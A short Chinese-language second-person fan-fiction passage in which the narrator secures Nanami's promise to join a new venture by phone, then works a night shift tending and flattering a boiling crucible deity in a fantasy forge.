孔明答应出山的时候也多是感念礼贤下士,没完全料想到出去后是怎样的倾覆风波吧。他写出师表的时候究竟在想什么呢? 哎呀,那时候刘玄德已经死掉,想这个不吉利。 不管怎么说,你心里是这么暗自揣测七海的,因为他确实在电话里口头承诺了加入你刚起步的小事业。 你说:“记得别和灰原讲。” “你把我当什么了,当然不会。” “是谁在退学前把我的名字透露给了夏油,又是谁即将退学,此情此景--” “你再说我不退了!” “我投降。”你爽快认输。 情绪价值,通通拿下,你主动挂断了电话,开启又一天晚间的工作。 ——翻转自如的两面性,勤奋刻苦的主动性,你认为它们是促成你行到今天的重要品格。 今晚,你帮铸炉清理了一部分地面上凸起的料渣,还原场所中一部分它本来的面貌。 不好说铸炉对你的殷勤抱持何种态度,但现在,坩埚王对你冷哼--虽然祂是一个沸腾的坩埚,理应很热。 祂的话你都没放心上,天哪,有关低温的笑话你能一个人偷偷乐好久。 清晨拂晓第一缕光出现前,你还乐呵呵地为燃烧了一晚上的铸之具名者献上了你能凝练出的最纯净的火焰,上班哪有不强颜欢笑做小伏低的。 奉承从来不乏卓越的辩闻:“是金子总会发亮,但您的火焰能让最坚硬的岩石都化为红浆。” 你拍完马屁就匆匆到尘世里做另外的文书工作,反正火烧的旺是大家都爱的夸赞,因为火焰能激发最剧烈的改变,你在日夜的辛劳中彻底身体力行地领悟了此要诀。